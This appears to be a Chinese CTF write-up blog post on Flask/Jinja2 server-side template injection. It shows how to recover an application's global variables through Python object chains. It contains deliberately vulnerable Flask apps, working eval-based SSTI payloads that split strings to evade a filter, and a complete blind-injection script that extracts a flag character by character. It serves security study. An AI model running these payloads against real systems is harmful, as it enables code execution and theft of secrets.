python SSTI flask jinja2模板渲染(模板注入)时获取源程序中的全局变量
好几次遇到这个问题,不过一直忘记,终于在一次题目中撞上了,因此决定记下来
先说结论,找到一个eval
或import
或者__builtins__
类型,然后想办法导入自身(__import__('__main__')
),从而获取到全局变量。
前言
在flask应用中,作为web服务器,经常需要渲染模板作为response来返还给client,因此flask提供了两种常用方法,render_template_string
和render_template
,在变量替换早于模板渲染前的时候,很有可能产生模板注入(SSTI),具体不详谈,举几个例子
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)
return render_template_string(template)
if __name__ == '__main__':
app.debug = True
app.run()
例子中template
在渲染前先进行了变量替换,存在SSTI漏洞,可以在url中加入{{7*7}}
来测试,在通常情况下,通过SSTI,我们可以造成XSS,弹shell,任意读写,然而,在某些特殊情况下,我们可能需要获取flask应用中的全局变量,但关于这方面的文章不多,在此做一个简单分析。
globals()
python存在一个特殊的全局函数globals()
,他可以获取当前运行时的所有的全局变量,以字典形式返回,如下:
import pprint
flag = "asdgasdgag"
pprint.pprint(globals())
'''
{'__annotations__': {},
'__builtins__': <module 'builtins' (built-in)>,
'__cached__': None,
'__doc__': None,
'__file__': 'e:/work/python/tem.py',
'__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000001FC82F6DD48>,
'__name__': '__main__',
'__package__': None,
'__spec__': None,
'flag': 'asdgasdgag'
}''
可以看到,我们用globals()
获取到了全局变量flag
,因此,理论上我们通过在jinja2中调用globals()
,我们也能获取到源程序中的全局变量。但事实并非如此
from flask import Flask,request,render_template
from jinja2 import Template
import os
import pprint
app = Flask(__name__)
flag = "1541354"
@app.route('/',methods=['GET','POST'])
def home():
url = name = request.args.get("name") or ""
r = request.data.decode('utf8')
if 'eval' in r or 'popen' in r or '{{' in r:
t = Template(" Not found!")
return render_template(t), 404
t = Template(r + " Not found!")
return render_template(t), 404
if __name__ == '__main__':
app.run(host='127.0.0.1',port=8888,debug=True)
可以看到,以上程序先进行了变量拼接,然后传入模板渲染引擎中渲染,存在SSTI漏洞,我们尝试一下在其中调用globals()
先修改Content-Type
,乱取一个类型,使得request.data
可以获取到数据,然后在body中传入
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{{ b['ev'+'al']("globals()") }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
出来一大堆的字典,有兴趣可以自己翻翻看,然而并没有flask应用中的全局变量,因此我们需要另辟蹊径。
构造链
首先,flask使用的jinja2模板渲染引擎的工作机制是和主程序分开为两个运行时,因此,使用一般办法,我们不难获取到模板渲染时的全局变量,然而,我们可以在构造链(SSTI教程中有很多)找到一个eval
或import
或者__builtins__
,然后导入当前flask应用程序,便可以获取到全局变量,因此可以修改一下payload,以下给出几个示例。
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{% if b['ev'+'al']("globals().__getitem__('__builtins__').__getitem__('__import__')('__main__').flag") %}1111111
{% endif %}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
或者
request.application.__globals__.__getitem__('__builtins__').__getitem__('__import__')('__main__').flag
根据这个结论,那么构造出来的链的种类就有很多了,根据具体题目具体分析即可,现在给出原题
problem
from flask import Flask,request,render_template
from jinja2 import Template
import os
import pprint
app = Flask(__name__)
#f = open('/flag','r')
#flag = f.read()
@app.route('/',methods=['GET','POST'])
def home():
name = request.args.get("name") or ""
print(name)
if name:
return render_template('index.html',name=name)
else:
return render_template('index.html')
@app.errorhandler(404)
def page_not_found(e):
#No way to get flag!
os.system('rm -f /flag')
url = name = request.args.get("name") or ""
# r = request.path
r = request.data.decode('utf8')
if 'eval' in r or 'popen' in r or '{{' in r:
t = Template(" Not found!")
return render_template(t), 404
t = Template(r + " Not found!")
return render_template(t), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8888)
这个题目的注入点在page_not_found
的函数中,同样是先变量替换再模板渲染导致的,注入方法与之前一样,先修改Content-Type
类型,然后在body中传入payload,本题过滤了'eval'
和'popen'
和'{{'
,然而并没有什么大问题,字符串拼接绕过前两个,双左大括号过滤导致无法输出语句执行结果,因此可以盲注或者调用curl
把flag打出来,但前提是目标机子通外网,在此给出盲注脚本。
import requests
import string
se = requests.session()
target = "http://127.0.0.1:8888/tsttst"
index = 0
tables = string.printable
flag = ""
headers = {
'Content-Type': 'application/jso'
}
while (not flag.endswith('}')):
for _chr in tables:
qdata = '''
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{% if b['ev'+'al']("globals().__getitem__('__builtins__').__getitem__('__import__')('__main__').flag")[{123}]=='{123}' %}1111111
{% endif %}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
'''.replace('{123}',str(index),1)
qdata = qdata.replace('{123}', _chr, 1)
#print(qdata)
res = se.get(url=target, data=qdata,headers=headers)
if "1111111" in res.text:
flag += _chr
print(flag)
break
index += 1
版权声明:本文为原创文章,版权归星夜的蓝天所有。
本文链接:http://poi.ac/archives/49/
本作品采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可。转载时须注明出处及本声明
信安文章搜索引擎已收录师傅的博客优文:http://secsea.cfyqy.com